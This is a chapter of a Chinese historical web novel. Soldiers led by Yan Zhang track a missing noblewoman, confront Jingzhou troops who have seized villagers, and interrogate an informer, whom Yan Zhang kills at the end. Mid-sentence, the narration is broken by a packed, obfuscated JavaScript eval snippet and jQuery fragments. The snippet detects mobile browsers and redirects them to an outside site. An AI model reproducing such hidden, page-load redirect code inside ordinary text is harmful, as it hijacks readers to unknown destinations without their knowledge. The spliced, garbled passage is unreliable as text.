颜章等人在林子里歇了一宿，第二天一早便直奔玉顺山。果不其然，在半山腰的路上，他们发现了打斗的痕迹。


    “有两波人在这里交了火。”颜章蹲下身子，仔细观察着地上的痕迹，脸上带着一丝兴奋，“其中一个人连人带马从半山腰滚了下去。而女公子他们当时就在山脚下。”


    老李思索着说道：“交火之后，山脚下前后又有两拨人来搜查过。虽然不知道女公子去哪儿了，但我们可以顺着搜查之人的踪迹找过去。”


    他们从半山腰回到山脚，试图循着足迹寻找线索。然而，很快他们就发现了不同寻常之处——无论是大路还是小路，都有大批马蹄印来来往往的足迹。这有些不同寻常，这样的马蹄印，是大批马匹踏过才有的效果。


    正当他们研究地上的痕迹时，远处突然传来马蹄声，夹杂着一群人的哭喊声。一队人马由远及近慢慢行来，马后面用绳子绑着一群老弱妇孺，年纪大的已经白发苍苍，最小的才十四五岁。其中一个妇人头上还绑着发黄的白麻布，显然是家里刚死了人。


    为首的将军身着荆州兵的铠甲，他远远地勒住马匹，厉声呵斥道：“什么人！为何聚集在此！”


    随着他的话音落下，身后的士兵纷纷取下长刀，盾牌举在前，踏步围在将军马前，竟是一副要动兵戈的架势。


    颜章示意众人不要轻举妄动，取出自己的腰牌上前交涉：“我们是吴国来的，有一伙盗匪在合县杀了人，我们追着马蹄印一路到此，却失了踪迹。”


    那将军看过腰牌，稍放松了一些警惕，但仍不满地抱怨道：“妈的，又来些渣子，嫌人不够忙似的，你们这怕是不好找的啊。”


    颜章应是，又道：“这伙歹徒穷凶极恶，务必得尽快捉拿归案，否则恐怕会给贵地百姓带来灾祸。”


    军官忽然问道：“可这捉拿盗匪的事也不归你们当兵的管吧！你们的文书呢？”


    颜章本以为接回宝莹是件轻松简单的事，他来得又急，哪里会去搞什么文书，他面上不显，赶忙道：“来得匆忙，一路就追过来了，还没来得及等文书……”


    “那可不行！”军官板着脸，厉声道，“按规矩，你们该写了文书发过来，待我们官府批示后，再发回给你们。况且，到那时候也该由你们的衙役过来抓人。”


    “可那伙匪徒是在合县杀的人。”颜章陪笑道，“将军想来也知道……”


    合县是依靠军营建起来的城镇，里面好多居民都是军属。那县城的衙役才多少人？不过就管管城里的治安，真有什么大事都是军营里的人接手了。


    带头的军官强硬道：“合县也有自己的官府，一切都得按规矩来办事！”


    他打量了颜章一行人都变得不好看的脸色，嘴上又松动了几分：“这规矩是赵州牧定下的，都好几年了，平日也都是这么行事的。吴王殿下不也是同意了的嘛！我们两边的士兵还是不要在彼此地界上往来的好，容易擦枪走火，毕竟性质不一样。”


    “好在你们今天遇到的是我，我们也不想跟你们大动干戈，免得伤了和气。”


    颜章沉默了片刻，道：“将军好意我们心领了，是我们越了规矩。只是天色已晚，夜里行路也不方便，也容易引起误会。不如这样，我们兄弟几个在此休息一晚，明早就打道回府。”


    军官沉默许久，缓缓点点头答应了。


    颜章等人让开道路，等那队人马远去。那被绳索绑着的一个老头拖着蹒跚的脚步，无意识地低语：“我只是卖了两头驴……我只是卖了两头驴……”


    待那行人走远，中年老兵老李不满地说：“赵延那个狗东西，之前当刺史的时候对我们这边恭恭敬敬，和和气气。升官之后就抖起来了，把我们当贼防。按他那个规矩，这两边的坏人干了坏事就往隔壁跑，等官府程序走完，早跑得没影了！知道的是跑去隔壁州郡了，不知道的还以为是出了大庆边疆呢！”


    “闭嘴！”颜章脸色阴沉，“赵州牧也是我们能议论的？”


    小陶纳闷道：“他们在干嘛啊？我们才几个人？这又是他们自己的地盘，他们怎么紧张兮兮的？好像我们要砍他们一样。”


    “不知道。”颜章摇了摇头。


    “会跟我们调查的两波人马有关系吗？”


    “看样子有。”颜章略微沉思，“去他们刚刚抓人的地方，探探消息。”


    …………


    他们快马加鞭，顺着那队士兵的踪迹来到一个叫玉山村的小村庄，天色将黑，但小村庄里一片静寂，鸡犬不闻。离村口最近的土房上还挂着一些白麻布，像是刚办过丧事。


    颜章打量着那白麻布，牵着马缓缓走了进去。只见一个黄脸男人站在院子里，对着两个坐在门口的带孝小孩不知道在说些什么。


    颜章跨进小院，黄脸男人立刻迎了上来。那男人脸上长了一颗大黑痣，让人看了就心生厌恶，正是王黑头。


    王黑头仔细打量众人，抱拳喊了一声：“军爷。”


    “这是你家？”颜章问。


    王黑头连忙否认：“不是不是。”


    “那这家里的人呢？”


    “还剩两个小子。”王黑头嫌弃地朝孩子的方向啐了一口，“没良心的小东西，我还给他们带了一顿饭来呢。”


    “犯事的人呢？”颜章直接问。


    “哎哟，前面一队官爷已经拿走了呀，就剩这两个小孩。”王黑头斜了一眼那两个小孩，威胁道，“要我说，你们两个再不听话，小心军爷将你们一并拿了，好去跟你们亲娘团聚……”


    那小女孩听见了，哇的一声大哭起来。那男孩怨恨地盯着王黑头，猛地扑上去咬他，两个人瞬时滚作一团。


    颜章按住伸手就要去打小孩的男人，丝毫不管他被小孩咬着大腿疼得嗷嗷叫。他询问道：“那你可清楚这家人犯了什么事？”


    “我知道，我知道，就是我去官府报的案啊。军爷救命！疼啊！”王黑头哀号道。


    颜章这才让人将小孩扯开，待小陶将孩子提溜远了，才问


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311153|165638||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ：“细细说来。”


    “中午饭还没吃，我就听说外边的官道上死了七八个军爷，那杀人凶手留下了两头毛驴和一个小木板车。我一下就知道是怎么回事了，那两头毛驴是王三爷家的，那个木板车是秋二娘家的，都是那帮匪徒花了大价钱从他们手里买的。那木板车上的稻草和被子，就是这王家的。”王黑头指了指面前的土房。


    “这一切都要从昨天早上说起。这王大娘图一副棺材钱，收留了两男两女……”


    众人皱着眉头细细听了王黑头一席话，弄清了事情的来龙去脉。又仔细询问了那四人的相貌、衣着，确定了其中三人就是宝莹一行人。


    颜章不由得眉头紧锁。


    小陶奇怪地问：“你既然举报了这家人，拿了官府的赏钱，你还来跟这两小孩送饭做什么？”


    老李笑道：“难道心软了，生怕他们活不下去？没人长大了记恨你？”


    众人哈哈大笑。


    “我是好人啊！军爷。”王黑头假惺惺地哀嚎道，“那四个狗男女如何能杀了那么多军爷？还不是这王二娘家收留了他们，另外几家卖了他们逃窜的工具。我禀告官府，是义勇行为。”


    “只是……”王黑头目光闪烁地说，“只是这两个小孩也算我远房堂侄，不过是被那个婆娘带累了。小孩无罪啊！”


    小陶讥笑道：“我看是你图人家房产和田地吧。待你收养了他们，这房子和田地都归了你。两孩子都已经长了半大了。男孩养着当苦力，女孩养两年就能换好大一笔钱。”


    “冤枉啊！”王黑头哀嚎道，“我完全是心痛我那死去的堂兄……”


    颜章望了望那两个小孩身上的孝服，问道：“你那堂兄什么时候死的？怎么死的？”


    “就那四个狗男女来的前一天晚上。他家收留了一个过路的男人留宿，哪知那男人也是个匪徒。半夜偷钱被他发现了，砍了他，拿钱跑了。”


    “你竟然跟你堂兄关系那么好，你怎么不把你堂兄的棺材钱出了呢？”颜章戏谑地问。


    “是啊。”小陶恍然大悟，“何苦还要一个外人来送棺材钱呢？”


    “莫不是……那个时候就惦记人家的田地了吧？”


    王黑头一下子忘记了哀嚎，愣在原地，不知所措地看着一行人。这和他想象的不一样啊，他可是举报有功，这群军爷说话怎么这般不客气？


    “猜中了？”颜章蹲下来，拍了拍王黑头的肩膀，低声问，“老实说，你是眼红那几家人卖点普通东西就赚了大笔银钱？还是因为那四个人坏了你收购人家田地的好事，才去举报的？”


    “军……军爷？”王黑头看着眼前明明意气风发、像个贵公子的大男孩，神情里满是惶恐和疑惑。


    颜章咧着嘴露出了一个开怀的大笑。他绕到男人身后，一手环住了他的头，一手环住了他的脖子，凑到他耳边低声说：“我们是当兵的没错，可我们不是这荆州的兵呀。”


    说完，胳膊一个用力，就扭断了男人的脖子。